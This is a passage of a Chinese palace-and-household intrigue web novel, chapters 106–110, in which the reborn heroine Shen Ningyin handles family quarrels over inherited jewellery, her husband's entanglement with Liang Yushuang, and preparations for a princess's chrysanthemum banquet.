沈弦思原本没打算掺和的，她从来只把别人当枪使，哪里能叫个枪把自己给使了，可沈含鸢这么一说，她就下意识看了过去。
这一看不打紧，她发现细看之下沈玉珠满身的首饰衣裳都是值钱货，就连她特特戴出来准备在赏菊宴上显摆的那些都变得相形见绌。
“是的。”沈弦思无视了沈玉珠失望愤怒的眼神，捏着裙裾附和：“这些都是母亲的东西。”她满脸痛心冲沈玉珠说：“玉姐儿，我知你喜欢这些好东西，你若是跟母亲说，她哪里会不肯借给你穿戴？可你为何要私自去拿？”
“我没有！”沈玉珠的哭声引来了更多的人。
沈宁音转眸一看，人群后头走出来的，是周婉跟几个丫鬟。周婉最近日子不好过，如今天光底下，脸色苍白如雪，原本装的柔弱，如今倒像是真变得弱质纤纤了。
“真是热闹得紧。”周婉的目光扫过一众女娘的脸，最后落在沈宁音面上，周婉弯唇一笑：“弟妹，今儿祖母病了，你领着人在这吵吵嚷嚷是不是不太妥当？”
沈宁音听了这话，倒是颇有几分意外，周婉素来在府里都是营造一个无害的形象，如今这
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般将矛头指向自己，甚是少见。
闵家姐妹想是得了告诫，都没开口，沈引章也是有点自个儿主意的，看向周婉的眼神带着警惕，但沈含鸢不同，她三两步就走到周婉旁边儿道：“大少夫人，您给评评理，我二姐姐偏袒玉珠，沈玉珠就算年纪小，也不能把年纪小当成偷东西的借口吧？”
周婉看向沈含鸢的目光微不可查地闪过一丝轻蔑，但到底是接话道：“这是自然。怎么二弟妹连这点儿家事都断不清楚了？是要进去求祖母明鉴么？”
周婉说完这句话，又拉着沈含鸢的手腕，语调心疼地看着女娘手腕上被春渠捏出来的红痕道：“还纵着奴仆对姊妹行凶？二弟妹打算把我们侯府的名声置于何地？”
这上纲上线的一阵说道后，将站在一旁的兰香气得捏紧了拳头。
沈玉珠没料想这件事会有闹大的趋势，她原本是个中通外直不蔓不枝的刚正性子，可经历过生死、又在这几日见识过府邸的人情冷暖后整个人也成熟了许多，沈玉珠这会儿没说话，而是脸色憋得难看，关切地望向沈宁音。
沈引章急得不行：“含鸢姐姐，快回来！”沈家再如何不睦，那也是自家人，关起门来怎么胡闹都行，攀扯上外人的话，那就怎么都是自家吃亏了。
“凭什么？”沈含鸢甚至有些得意，盯着沈引章的脸：“东西是母亲的，她老人家要给也是给我，沈引章你本就得不着，自然也不会上心。”
周婉乐得见沈家人互相攀扯，弯唇道：“既然二弟妹解决不了，那不如找母亲或者祖母断公道。”
她说这话的时候，沈宁音就注意到里头已经有小丫鬟往里头进了。
不消两个呼吸，脚步声起，来的不是松鹤堂的嬷嬷，却是刚进去不久的秦耀阳。
“怎么了？”秦耀阳看着院门口站着的姑娘们，一时间蹙紧眉宇。
周婉眼里的亮色一闪而过，看向秦耀阳的目光里带着几分势在必得。
106. 偏要
周婉未等旁人说话，语气认真开口：“耀阳，此事也是咱们侯府的不周到。”
她环顾一周：“妹妹们都是亲眷，但二弟妹作为主母，对自家妹妹一碗水端不平也就罢了，还在容人这松鹤堂外头打扰祖母将养身子，实在失职。”
秦耀阳愣住，他近日几乎不怎么上周婉的兰心居，这会儿骤然见从前温温柔柔不能自理的周婉竟这样主动出头，实在有些不适应。
不过，旁人沉得住气，可沈含鸢不能，她那日实打实将沈玉珠推下了水，沈含鸢做出了这等事，便知没有了回头路，再加上她与沈弦思走得近，耳濡目染，当下便打蛇随棍上，拿帕子按着眼角，红着眼圈啜泣：“二姐姐平日里就瞧着我不顺眼，现在身份不同了，怕不是要偏帮着沈玉珠占我母亲的东西了！”
秦耀阳闻言摸了摸鼻子一时有些犯了难，若是旁的事，他毫不犹豫就能一言弹压，再大的事儿也可以先顾全沈宁音的面子等关上门再来盘算。
可眼下似乎是侍郎府沈家的家事，他一个做姐夫的，没那个立场。
秦耀阳目光落在沈宁音脸上，但见沈宁音神色如常，一双眸子仿似古井不波。这么些天下来，秦耀阳是不敢再做妻子的主了，只得开口：“宁音，婉儿说的也有理，祖母还病着，咱们在这儿闹起来只怕不好。”
他声音温柔，语气带着点商量的意味，秦耀阳自认为已经算是妥当了，可沈宁音抬眸时，漂亮的瞳仁里却是不赞同：“世子是在怪妾身咯？”
秦耀阳心下没来由一紧，捞起衣摆下意识往妻子跟前儿靠近了半步，小声道：“没有的事，我只是觉着……”
沈宁音没等她说完便微笑打断道：“祖母宽宥，对我这个孙媳多有帮助，她老人家若有不满，自会遣人来说。”沈宁音语气是温婉平和的，话里的意思却半点不让、甚至暗含刀锋：“祖母还没斥责妾身呢，大嫂倒先训诫上了，知道的，晓得大嫂关心则乱，是对祖母尽孝，不知道的，说不得就要觉着大嫂越俎代庖挑拨离间了。”
周婉听了这话，脸色都变了：，她摇了摇唇，顷刻间就泪盈于睫：“二弟妹，你这是何意？我是为着侯府，更是为着提醒你。你怎的反要诬赖于我。”
到底是多年浸淫的演技，周婉的感染力极强，痛心又委屈的表情与恰到好处的泪花将周遭众人的情绪都调动了起来。
尤其秦耀阳，原本已经歇下去的心思，突然又动了几分恻隐与心疼。秦耀阳将目光从周婉脸上收回，便小声对沈宁音道：“宁音，婉儿是好意，你莫要任性……”
好意？沈宁音心下冷笑，抬眸看了秦耀阳一眼，这一下，男人原本上来的情绪一滞，对视一个呼吸后，秦耀阳别开了目光去。
男人若当真是强的，沈宁音自可以蒲苇韧如丝，可秦耀阳身份无妨多么煊赫，扛事儿上依旧是弱的那一方。也就是周婉这么多年给宠习惯了，以为靠着男人就能拿回话语权。周婉却不知，那是因为秦家上下都乐意纵着秦耀阳，没人去拿捏他。
而现在，沈宁音便要让她知道，哪怕是元妃给她筹谋、周家给她做后台，她周婉，想再拿捏这男人，照旧是拿捏不住的。
沈宁音理了理袖口，扬起一抹笑：“大嫂，听闻元妃娘娘给您送了几个奴婢，下人们再好用，也只是下人，要理事，决不可偏听偏信，更不可想当然。”
周婉没想到沈宁音一个刚入侯府不久的女人竟当着这么多人的面来训诫她。这原本是她自己想好的剧本！周
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婉攥紧拳头，咬牙正要说话。沈宁音却没给她发挥的机会。
“来人，把姑娘们送回院子里头，接着学规矩。”又特特道：“尤其是沈含鸢，多罚两遍女戒。”沈宁音一声吩咐。意料之中听见了沈含鸢的怒吼，沈含鸢大声道：“凭什么？你地位高，便可以仗势欺人了？沈玉珠偷了东西你不罚她，你罚我做什么？！”
沈含鸢奋力挣扎着，大声朝着周婉求救。
在她看来，周婉才是救命稻草。
周婉也确实没叫她失望，为了找回在侯府的威望，周婉吩咐人拦住了春渠与兰香。
那些个周家来的丫鬟婆子都是生面孔，来的时候沈宁音就命人多留意过，如今一看，个个都不是省油的灯。
推搡间，兰香竟哎哟一声给推倒在地，春渠眼瞳一沉，正要动手，却感觉眼前一花，沈宁音已经三步并作两部握住那婆子的手往前用力推去。
周婉看得眼眸瞠大，婆子丫鬟们再得用、猝不及防之下也吃亏，而且第一时间也不敢真伤了主母。
“二弟妹，你就不怕告到祖母那儿去么？”周婉冷着脸，手指攥得发颤。她原想在秦耀阳处扳回一城，为此不惜迎合他如今的喜好，学着沈宁音的样子，可惜事与愿违，男人非但无动于衷，甚至在沈宁音面前一点儿不敢出头。
周婉委屈又失落的目光朝秦耀阳看过去时，却发现男人竟一瞬不瞬地望向沈宁音。
“偏袒又如何？”沈宁音轻笑，语调不卑不亢，带着点玩味：“祖母说过，人有亲疏远近，此事古难全。”
等闵家的人都送回去后，沈宁音方淡声道：“一碗水端平，这等事，妾身从来没打算做。而且，那珍珠步摇……”沈宁音目光落在沈含鸢手上。
107. 闹腾
“谁说这东西是你母亲的？”沈宁音语气甚至是平和的：“莫说这些头面首饰，包括这衣裳绫罗，都是先夫人的家资。也是我的嫁妆，是我做主给玉姐儿的。”
沈宁音提起先夫人，可谓是一石激起千层浪，沈含鸢与沈引章都震惊了。
“母亲去得早，继夫人将东西借用也便算了，含鸢妹妹将借用的东西说成是继夫人的，真真是丧了良心。”沈宁音眼角凝出隐约的泪来。
若论示弱博同情，可不是只有她周婉会。
“你什么意思？”沈含鸢攥紧了珍珠步摇，那坠着的珍珠随着她的颤抖而晃动。
沈宁音拉着沈玉珠的小手，神色哀戚：“也不怕你搬弄是非，玉姐儿穿戴的头面、罗衣，尽都继承自先母的嫁妆，大哥是先母嫡子，玉珠是她亲孙女，她怎么着也比你沈含鸢有资格用！”
“你胡说！”沈含鸢大声尖叫：“母亲与先夫人同出一门！她的便是母亲的！分什么彼此！你这是强词夺理！”她声音就像是开了的炊壶，仿佛声音大就能占理似的：“是母亲的！也是我的！你凭什么给别人！”
沈宁音见她失态，便也不再言语，有时候，沉默会来得比大声辩驳更具杀伤力。若再多言，反倒过犹不及。
沈宁音只是那么失望痛心地看着沈含鸢，便立时叫旁边的秦耀阳揪紧了心肝。
“你放肆！”秦耀阳大喝一声，伸手扶住了沈宁音，更将沈玉珠也一并庇护在了身后。
秦耀阳冷冷盯着沈含鸢：“宁音是我昌平侯府的人，哪里轮得到你来作践！”
秦耀阳作为侯府未来的主心骨，任谁都不敢再忤逆半分。他肯出面，沈宁音有预料，或者说，是她一步步调教诱导来的。
从一开始，沈宁音便在秦耀阳心里埋下了一种独立又倔强的坚韧性格，而此时此刻，两相对比之下，她即便不说任何话，也能将委屈放到到让他心疼的地步。
沈家人此来本就是有求于侯府，如今世子爷亲自过问，沈家人再想闹也就闹不起来了。
散去的人群里，神色最为阴沉的却不是沈含鸢。而是自讨没趣、反惹了一腔伤心的周婉。入夜后的兰心居也不知又要碎多少个瓷器了。
回廊内，沈含鸢撕扯着帕子，眼睛红红的：“气死我了！”
没人回应，沈含鸢举目望去，发现沈引章走得飞快，一转眼已经走到了前边儿拐角。
也不知从何时起，沈引章就开始远着沈家几个姊妹，尤其这次，沈含鸢气得骂人，转头看时，一旁伺候的丫鬟们低着头都跟鹌鹑似的。沈含鸢越看越来气：“一群废物点心！”
等她回头时，才瞧见近日与自己交好的沈弦思低着头落在后面。
“思姐姐！”沈含鸢挽住沈弦思的胳膊：“沈宁音也太猖狂了！仗着世子宠她简直将咱们当成出气筒！什么话都张口就来！”
沈弦思没有说话，目光有些愣怔，眼底的情绪汹涌得紧。沈含鸢发泄似的说了好几句后，突然想到一事：“弦思姐姐！二姐姐凭什么这么作践咱们？欺辱我也就罢了，可你才是先夫人的亲女儿！那些东西凭什么让她占了去！”
沈弦思这话一出口，沈弦思的瞳仁都颤了颤，她死死攥紧了帕子。她之前一直压抑着情绪，就是在想着这件事，可如今呢？
沈弦思一想到自己没了侍郎府给的那么多嫁妆、甚至连阮家抬过来的嫁妆箱子都分了几个给沈宁音。
沈弦思不会想着是自己放弃了侯府的亲事、连带着也放弃了秦耀阳，放弃了嫁妆，她只觉得都是沈宁音占去了原本属于她的一切。
都是她的错！
沈含鸢原本就是逞口舌之快，知道奈何不了沈宁音，想着发泄下情绪罢了。可她说着说着忽然发现身边的沈弦思停下了。
等沈含鸢蹙眉看向沈弦思时，她整个人都朝后头本能地退了两步。
沈弦思的表情让她莫名觉得害怕。
“思姐姐？”沈含鸢迟疑地唤了一声。
“嗯？”沈弦思回过神来，微笑着看向她。
沈含鸢吞了吞唾沫：“没、没什么，我先回去了。”她扯了个笑，连忙快步离开。
此时此刻，祁秀院内。
沈玉珠说什么都要把钗环首饰还给沈宁音，沈宁音费了老大劲儿才把小姑娘安抚住。
等将人送去耳房安顿好后，沈宁音这才琢磨着能松口气了
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“少夫人，小书房闹起来了。”常言道祸不单行，沈宁音杌子还没坐热乎，外头又来差使。
她蹙眉看向春渠：“又怎么了？”
按说，小打小闹的，也断断到不了沈宁音跟前，一众下人们也能处置好的。
沈宁音一面走，一面思忖，明日就是赏菊宴，无妨闵家又或是沈家的姑娘都没道理再闹腾，那边松鹤堂既然要称病，也不该这会儿就自打自脸才是……
“我就来了怎么的？我偏要进书房！你凭什么管我！”
远远儿的，沈宁音听到那声音不由得皱紧眉头，等走到了小书房所在一进的廊庑边，她终于将声音与脑子里的人给对上了号。
“呵！这贱蹄子真是岂有此理！”兰香眼睛里快要冒出火来，捋袖子就想上去收拾人。沈宁音抬手将丫鬟拦了。她凝眉看向吵闹不休的两个女娘。
小书房门口的地上扔了好些书册，沈宁音眼尖地看见梁玉霜脚下踩着的，是一幅画。
沈宁音前世就听闻过，小书房里头收着的画，皆是秦耀阳的心头好，沈弦思那时候拿了一幅挂在客厅，被秦耀阳发现后都大闹了一场，直闹到差点儿休妻的地步，是沈弦思哭哭啼啼跪在松鹤堂跪了好几个时辰才勉强揭过去。这事儿前世的沈弦思在娘家哭了好几回，所以沈宁音印象颇深。
而此时此刻，光沈宁音看到的，梁玉霜就踩了好几脚，还是故意的。
“青天白日的，我偷什么了？你诬赖我还有理了是不！”梁玉霜掐着腰怒斥着红叶。
红叶长得标志，就连生气的模样都是好看的，她目光往沈宁音这儿瞟了一眼，将将要出口的话便咽回去了，抿着红唇瞪向梁玉霜。
“怎么哑巴了？刚刚不还骂街呢么？来来来，姐陪你骂！”梁玉霜气得大吼。
兰香被沈宁音拦下后，又迟迟不见主子上去大杀四方，于是便自以为心领神会地咳了两声。
她这一咳嗽，小书房前闹腾的两女竟然就停了。
沈宁音原想着再看看的，毕竟这两人，一个是夫君前世的妾室，另一个又是他亲口留下的女子。沈宁音乐得叫秦耀阳去头疼，她委实不想管这闲事。
108. 曼妙
沈宁音无奈地看了眼兰香，都到了这份儿上，她不过问也不行。
“怎么了？”
沈宁音走到跟前儿，她的语气温温柔柔的，红叶与梁玉霜心下都松了口气。
红叶跪下道：“主母，也不知是哪儿来个野丫头，乱碰世子爷的东西，奴婢是您安排过来料理世子的起居，断断不敢怠慢，便训了她两句，谁知这丫鬟野蛮粗鄙无礼至极！”
沈宁音的目光便看向了梁玉霜。
梁玉霜性子烈，原本还想刺上两句，但碰到眼前之人她却是有点发自骨子里的怵，嘴唇动了动，委屈道：“好了啦，我不闹了就是。”
梁玉霜把画卷从地上捡起来拍了拍：“我又不知道她是你派来的，要知道是你，那我不就不跟她吵了么？”
红叶原本见这女人桀骜不驯，想着看她硬撼主母然后被好好收拾的，没想到连这样的人都在主母面前服服帖帖的？
红叶眼底满是震惊，目光落在沈宁音的脸上。
此刻的主母依旧是古井不波的神色，甚至脸上所有的线条都是柔婉温柔的。
“哦？你这是知错了？”沈宁音淡声问。
梁玉霜抱着画，点头如小鸡啄米。
兰香冷哼了一声，惹得梁玉霜身子都颤了颤，但红叶知晓，她不是怕兰香，因着梁玉霜的目光悄悄打量的正是当家主母沈宁音。
沈宁音无视了红叶的探究眼神，只环顾了地上乱七八糟的书册，开口道：“你既已知错，本夫人也不会为难你，但这小书房到底是世子的地方，你怎么弄乱的，就原样放放好，等做完再来找我。”
说完这话，沈宁音便轻展披帛转身离去。
红叶看着她的背影若有所思。
“你又想打什么歪主意？”梁玉霜咬牙切齿，拿手指着红叶的鼻子：“我可告诉你！那女人可不是软柿子，你别等死都不知怎么死的！”
梁玉霜哼了一声，红叶惊讶的发现，这不知礼数的疯女人明明受了罚，服了软，在面对自己的时候，甚至像是自个儿赢了一样。
怎么让主母教训得屁都不敢放竟然还能与有荣焉？
红叶脸色难看，又扫了一眼沈宁音离去的方向，这才离开书房往旁边的暖房去。
秦耀阳是去了一趟外头办事，沈宁音以德报怨并没有放弃侍郎府姑娘们的参宴，秦耀阳心里更觉心疼，于是也认真帮着她在外头打听参宴各府的情况。
只不过，昌平侯府虽煊赫，但柔福长公主的宴会他们家参与极少，各处的反应皆是表面热情，内里敷衍。
秦耀阳不是个有甚本事的，但也不是傻子，心里甚至有几分火气。
他推开暖房的门，举目就发现俏丫鬟红叶眼圈红红的。
“怎么了？”秦耀阳皱紧眉，敛衽坐到了罗汉床上。
红叶擦了擦眼角的泪痕，素手给他添茶，一面观察秦耀阳的神色，红叶一面将小书房的事情添油加醋说了一遍。
秦耀阳正在气头上，这会儿一听到梁玉霜如此行径，他当下就将茶盏用力拍在了桌子上：“真是岂有此理！”
红叶见他发了火，当下心情畅快，假意劝说道：“世子息怒，那位姑娘想是刚来府邸不太懂规矩……”
“哼！”秦耀阳冷哼一声：“你别替她说话了，爷这就去将她送走。”
不一会儿，秦耀阳就到
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了祁秀院旁边的院落。他大步流星走到门口。
此时天色已经不早，房间里闪着烛火柔暖的光晕。
离得不远，那边厢秦耀阳刚跨进去，这边沈宁音就得了消息。
兰香听说后除了暗骂梁玉霜两句狐狸精外还有点幸灾乐祸：“那贱蹄子成日里没规矩，还总是学着外邦来的野蛮女子一样穿男装，说不得还是哪里青楼出来的小娼妇，这下好了，二爷发了大火，定叫她滚出咱们侯府去！”
沈宁音按了按云鬓，心里觉着没这般简单，但秦耀阳将那梁玉霜放在她的祁秀院旁边，若真闹出什么事儿来，沈宁音这个做主母的也不好装作不知情。
沈宁音整理妆容往跨院去的时候，秦耀阳已经一脚踢开了梁玉霜的门扉。
“砰”的一声巨响后，秦耀阳怒气冲冲看过去，却只见一个巨大的木桶里，梁玉霜吓得破水站了起来。
温热的水汽氤氲在她周遭，莹润的肌肤泛着浅淡的红晕，梁玉霜生得秀气，算起来是与周婉同一挂的江南毓秀，没有了男装或者宽松的夹袄遮掩，那一具身子曼妙绝伦，看得暴怒发火的秦耀阳一时间忘记了自己来此的目的，更忘了之前在外头窝着的火气，唯独一股子火热的感觉自小腹蹿升。
“啊啊啊！！”一声女子尖叫之后，秦耀阳只觉得额角一痛，阵阵金星在脑海里缭绕。
那尖叫声分外凄厉，远远儿地就传到了沈宁音的耳朵里。
沈宁音皱紧眉头，心里也不由得慌了一慌，她怕秦耀阳一怒之下把人给打杀了，那可就麻烦了。
一行人加快了脚步。沈宁音刚走到门口看见秦耀阳，连忙道：“世子，发生何事了？”
109. 绯事
沈宁音不料秦耀阳一看是她，连忙将门从里头闩上了：“没……没什么。”
一盏茶时间后，沈宁音坐在了祁秀院的堂屋中。这会儿已经是更深露重，几个婆子将梁玉霜往地上压。
此刻的梁玉霜只简单穿了条襦裙，袄子也是薄的，她头头发未干，湿漉漉地贴在脖颈上，身子因为冷而轻轻颤抖着，再配上她那双红红的水眸，没降低美感，反倒多了几分倔强梅蕊的清透诱人。
沈宁音两世为人，见过了不少后宅姬妾，连她都不得不承认，是时的梁玉霜，即便是前世上京新贵冷元景，也极为喜欢，甚至是个男子都会为之动心。
而上首罗汉床一端的秦耀阳，额角淤青，身上也濡湿了一大片，看样子应该是木头水瓢砸出来的。
“你好大的胆子！打伤了二爷，还不肯跪下认错！”婆子恼怒地掐着梁玉霜的胳膊，抬腿去踢她的腿弯，却不知梁玉霜发什么疯，宁愿挨踢也不肯下跪。
梁玉霜也不解释，咬着牙满脸倔强地不吭声。
秦耀阳的侧脸是肉眼可见的尴尬，他看向了沈宁音。
这是想她这个当主母的出头处理。
沈宁音微微蹙眉，秦耀阳先前的反应很是微妙，她拿不准夫君的意思。尤其她瞧出来秦耀阳对这女人一定有意思的情况下。事情贸然开口，但凡一个不妥当，都是费力不讨好的。
沈宁音低头喝茶，装没看见。
她一时不肯先开这个口，秦耀阳就有点慌。
“二爷好心收容她，谁想竟收了个白眼狼！”红叶眼圈也红了，拿帕子按着眼角的泪花：“大闹小书房，弄脏二爷的画，这下，用些下作手段勾引爷们儿，还行凶砸人！”
沈宁音没想到先沉不住气的不是秦耀阳，竟然会是红叶。
红叶义愤填膺，攥紧拳头，温柔的目光如水一般看向秦耀阳额角的伤。
先前跨院儿里发生了什么，沈宁音猜了个七七八八，只是没往深了去验证。红叶显然也有所猜测，但她将一切全都推到梁玉霜身上这种做法，委实太过明显了些，谁都能看出来红叶是要帮秦耀阳这个男主子撇清所有一切，同时对主母卖个好。
红叶无妨聪明不聪明，但绝对是世故的。
若放在寻常情况之下，主子们大抵会承了这个情，顺手也帮她打压梁玉霜这个外人。
可红叶千算万算没把秦耀阳算进去。沈宁音心下叹了口气。
那两个婆子一听红叶这个秦耀阳身边伺候的丫鬟都这么说了，自然是底气十足，其中一人用力又踢了梁玉霜一脚。
这次力道有些狠了，梁玉霜惨呼一声，整个人宁愿往旁边儿倒也不肯屈膝下跪。
“你个小娼妇！骨头还敢这么硬！”婆子怒了。
红叶嘴角微弯，眼神得意地看向狼狈的梁玉霜。
梁玉霜终于眼泪滚了下来：“你们凭什么这么对我！我有什么错？！明明是他！”梁玉霜哭着抬手指着秦耀阳的鼻子。
“住口！世子爷也是你这小娼妇能攀扯的！？”婆子这会儿是毫无顾忌，一巴掌快如闪电，重重打在梁玉霜的脸上。
只那么一下，梁玉霜的脸颊上就浮现出一个红肿的巴掌印。
她皮肤本就白皙，给烛火一照，巴掌印就显得格外明显，黑发似黑漆漆的海藻一般贴在脸颊上，像是只破碎的琉璃盏，分明脆弱得要命，偏生泛出璀璨的光晕来。
婆子下了死力，也想在主子跟前露个脸。
沈宁音心下一紧，旁的倒也罢了，若把这张美人脸给打坏，秦耀阳必得是心疼的。他这尊混世魔王，闹起来可不管不顾。
眼瞧着那倒霉婆子第二个巴掌就要甩下去，沈宁音是想再看看也不能了。
“住手。”她开口的刹那，秦耀阳已经从罗汉床上弹跳了过去，沈宁音只瞧见一道残影，下个瞬间，男人就一脚踢在婆子的肚子上。
“哎哟！”婆子嘴唇一白，捂着肚子跪倒了下去，一张老脸上血色褪尽。
秦耀阳坡口大骂：“狗奴才！你骂谁是小娼妇？玉霜清清白白的出身，凭你也敢随意编排？！”
屋子里所有人都震惊住了，而更叫人震惊的，是秦耀阳冷着脸把个浑身颤抖的梁玉霜扶在怀里。
望着近在咫尺的一张俊美玉面，梁玉霜神色里有一瞬间的恍惚迷离，但很快，她下意识看了沈宁音一眼，就连忙推搡起来：“你放开我！你做什么？！你刚刚趁我洗澡闯进来就算了，你现在还想当着你妻子的面搞什么？！”
秦耀阳冷着一张脸死死盯着她。
沈宁音闻言心下也是一惊，她连忙吩咐下人们先出去。
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又叫兰香去守着院门。
她是不知凉州城女娘是个什么规矩，但圣朝其他地方，哪怕是商户女，女子若给人看去了身子，叫外头人知晓的话，可就很难嫁出去做正室的。
梁玉霜把这个事儿嚷嚷出来，其中还有红叶这种不稳定因素在，传出去的概率实在是太大了些。
沈宁音这么处置，也是想着将来万一她后悔了，还能保住名声有别的选择。
“你关门做什么？撵人出去做什么？”梁玉霜浑身颤抖，防备地看向沈宁音：“我又没做什么见不得人的事情！我是受害者啊！”
沈宁音神色并无波澜，也不想与她解释，只看向秦耀阳道：“世子，夜深了，不如先把梁姑娘交给我安置……”
梁玉霜想到将才的婆子，眼里浮现一抹害怕：“不要！我要回屋！”她哀求地看向秦耀阳：“求你了，我想回屋子！”
沈宁音心下暗恼，她现在就是在想办法维护梁玉霜的名声，奈何这女人偏生反骨。
沈宁音不喜节外生枝，但也知想要梁玉霜配合，便得多嘴解释两句。
她压下情绪正要说话，却听梁玉霜惊呼一声，秦耀阳已经将人扛在肩上大踏步往门外走去。
“世子？”沈宁音震惊之余，脑仁儿气得生疼：“快放下她！”
这种时候，闹腾的梁玉霜反倒是没了动静，咬着唇，乖乖趴在秦耀阳的肩膀上，一张俏脸涨得通红。很快，两人就消失在门口。
扶着额后退了两步，沈宁音坐到了罗汉床上，外头被惊到的兰香和染竹都走了进来。
染竹道：“少夫人，二爷这是……”
沈宁音揉着一侧太阳穴：“罢了，不管了，随他们去吧！”
兰香气愤得挥起拳头：“那姓梁的真是个扫把星！二爷这么把她从您院儿里扛出去，您的脸往哪儿放？她们简直……”
兰香说着说着就说不下去了，眼圈红红的。
众人都知，办这事儿的是秦耀阳，是昌平侯府的世子爷，谁又敢去说个什么？
沈宁音长长叹了口气，些许名声，她虽在意，却也不是找补不回来，她有的是手段。可梁玉霜若安安分分听安排，她原本能护着梁玉霜的名声，后面的事儿就有选择的余地，但现在，只怕明天一早，就得闹到整个侯府都知道了。
110. 花宴
“真是胡闹！”一大早，松鹤堂里头老夫人就得了消息。
方嬷嬷站在旁边儿劝：“老夫人，别动气，要真气坏了身子，往后府里可怎么办？”
“不行。”老夫人越想越觉不妥当：“我得亲自去一趟，将那个小贱蹄子撵出去，咱们侯府本就不安生，昭儿又是个不知轻重的，我决不允许他再给人唆使坏了去！”
方嬷嬷连忙拦住：“老夫人，可使不得，您昨儿刚称病，今天就亲自撵人，二少夫人那儿怎么想？一多半要跟咱们离心离德！”
老夫人一听，也冷静下来。一个来历不明的狐媚子事小，若叫孙媳离心那可得不偿失。老夫人凝眉看向方嬷嬷：“可昭儿那性子，他要真对什么人上心，莫说你们这些下人了，就是他亲娘去，也不可能听得进去劝。”
“是这个理。”方嬷嬷松了手，压着声音道：“不如这样，顺着世子爷的意思来，然后……”
老夫人看着方嬷嬷眼里的狠辣，也是微蹙起眉头来。
方嬷嬷便跪下来，语气诚恳：“主子，那女娘来历不明，上京城也没见人找，必定是个没根基的，她如今名声如此，不靠着咱们侯府还能嫁什么好人家。只要拖着她不给正经名分，到时候想怎么叫她病死，摔死的，还不是咱们说了算？”
“可她若是个良籍，侯爷怕是要在朝堂上受些弹劾。”老夫人虽有意动但到底怕牵连到儿子。
方嬷嬷道：“良籍是良籍，倘使纳进了咱们府里，这狐媚子过去的身份要编撰起来还不是咱们说了算？谁又会不远万里上她族地去追查？”
老夫人默了默，缓缓点头。
这时，随着天光大亮，侯府也渐渐热闹起来。
因是个大日子，姑娘们都早早起身梳洗打扮。
沈宁音亲手给沈玉珠挑选朱钗，透过铜镜，看着小姑娘仿似待放的花骨朵，干净清透，又带着矜贵娇嫩。
“姑姑。”沈玉珠有些害羞，她年岁小，平日里只顾着念书学艺，但来这儿之前她的父母就告诉过她了，此番是要跟随姑姑沈宁音去叫外头人都见一见的，翻过年去就要开始议亲了。
沈宁音伸手摸了摸小姑娘的脸颊：“玉姐儿今日好美。”姑娘年轻，皮肤不必用脂粉装点，健康清透，带着细软的绒毛。沈宁音舍不得她这么早就上那样的宴席去。
只是如今的沈家，没有煊赫的底蕴，更没有贤良的主母，越往后头拖，越可能将个好侄女给坑了。沈宁音只盼着她早点定下来。这样若是后面沈定山或者其他人再作妖，大不了自己就以姑母的身份将侄女接到身边儿照到沈玉珠嫁人。
思及此，沈宁音的目光更坚定了些，笑着将羞得无地自容的侄女拉起来：“走吧，今日姑姑定要你好好露个脸。”
一行人出了大门，几辆马车，沈家姑娘一辆，闵家几个姑娘一辆。还有一辆是昌平侯府专用的。
沈宁音拉着沈玉珠就往侯府马车上进。有人有人想拦着，被沈宁音的目光一扫，那仆人登时只觉得寒气直往头顶蹿。
帘子放下来，那仆人还心有余悸，忙小声拉着陶妈妈：“陶妈妈，怎么办？那位沈家表姑娘也上去了……这不合规矩。”
陶妈妈看了一眼马车，开口道：“二少夫人的事儿夫人说话都不好使，再者，世子爷还在车里呢，先看看再说。”
下人听罢，也是好奇地往马车瞥。
昨晚祁秀院的事儿不算小，天一亮大家就都知道了。素来疼妻子的二爷昨儿把个姑娘抱出了祁秀院。更有传言说，那姑娘本就是世子的外室相好，昨天世子为了那怀有身孕的女人跟主母撕破了脸，将来说不准二人要闹成怨侣……
而此时此刻，马车上。沈宁音握着沈玉珠的手，看着闵氏与秦耀阳，沈宁音脸上是再寻常不过的温婉微笑：“婆母，夫君。”
打过招呼后，沈宁音就落了座。
秦耀阳脸色有几分尴尬，他想同沈宁音说几句话，可因着闵氏在，他又开不得口。
闵氏看看儿子，又看看眼睛都不往这边瞧的儿媳，还有那低着脑袋，仿佛想化作空气的沈家表亲沈玉珠。
闵氏有点头大，瞪了儿子一眼，又小声劝：“宁音，我说他了，回头叫昭儿给你赔罪。那个骚狐狸我一定……”
秦耀阳将才还满脸羞愧，可一听闵氏说到这，他便是皱紧了眉：“母亲！你说什么骚狐狸？玉霜她不是……”
“不是什么不是？！”闵氏有点来气：“家和才能万事兴，你昨儿抱着个不知哪儿来的小娼妇睡一宿，叫人迷得五迷三道的！还不让说了！”
闵氏家行伍出身，平日里还能端着，但遇着真动气的时候，骂人就没什么遮拦。
“娘！”秦耀阳也来了脾气：“玉霜不是那种人！”
闵氏原只是劝上一劝，口头上能让儿媳心里舒坦些罢了，但奈何儿子非要怼自己。闵氏真动了气。
耳听着母子俩要在马车里头吵起来，沈宁音的声音淡淡传过来。她抱着沈玉珠：“好了，马车都开了。”
见她一副不想提及也不看过来的样子，闵氏不说话了。
车厢安静下来，秦耀阳反倒很有点不习惯。
可他委实不知怎么样说，难不成要当着母亲的面同妻子解释？
秦耀阳张了张嘴，最后说出口的话是：“宁音，你怎么把玉珠带上这个车了？”
空气一时间更尴尬了。
两三个呼吸后，沈宁音才软声道：“那边马车小些，妾身怕妹妹们照顾不来玉珠。”
“哦……”秦耀阳摸了摸鼻子，最后也找不到话说了。
赏菊宴是在一处长公主所拥有的园林里头。
门口车水马龙。
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沈宁音一行人下车之后，她一面走，一面打量。
柔福长公主办这个宴会也不是一年两年了。前世时，她入京后，也领着庶女们参与过许多宴会，但长公主的赏花宴却一直无缘。
一开始是冷家没底蕴，庶女们也年龄小，她就没资格。后来冷元景官途亨通后，她的身子又每况愈下，想去也有心无力。
如今，头一遭来参加，却也能一眼看得出，是有门道的。
各处井井有条，下人们规规矩矩又彬彬有礼。
闵氏去带闵家女娘们，沈家姊妹原本该叫沈宁音领着的，但她转头看时，却见沈弦思、沈含鸢都往闵氏身边走，只有沈引章往这儿来。
但沈引章没走几步，就被沈含鸢气冲冲的拉回去了，完了还瞪沈宁音一眼。
沈宁音只作没瞧见，拉着沈玉珠就往里头去。
“宁音……我有话同你说。”身后突然传来秦耀阳的声音。
沈宁音脚步顿了顿，察觉到男人抓住了自己的手腕。秦耀阳的声音带了点服软：“你还生气么？”
沈宁音心里有些烦，抽出了手：“妾身没生气，只是，男宾客该走另一边。”
“宁音……”秦耀阳还想说点什么，沈宁音已经往女客区域走：“有什么话，回去后再说吧。”
她走出去好一会儿，回头去看时，秦耀阳已经不在原处了。
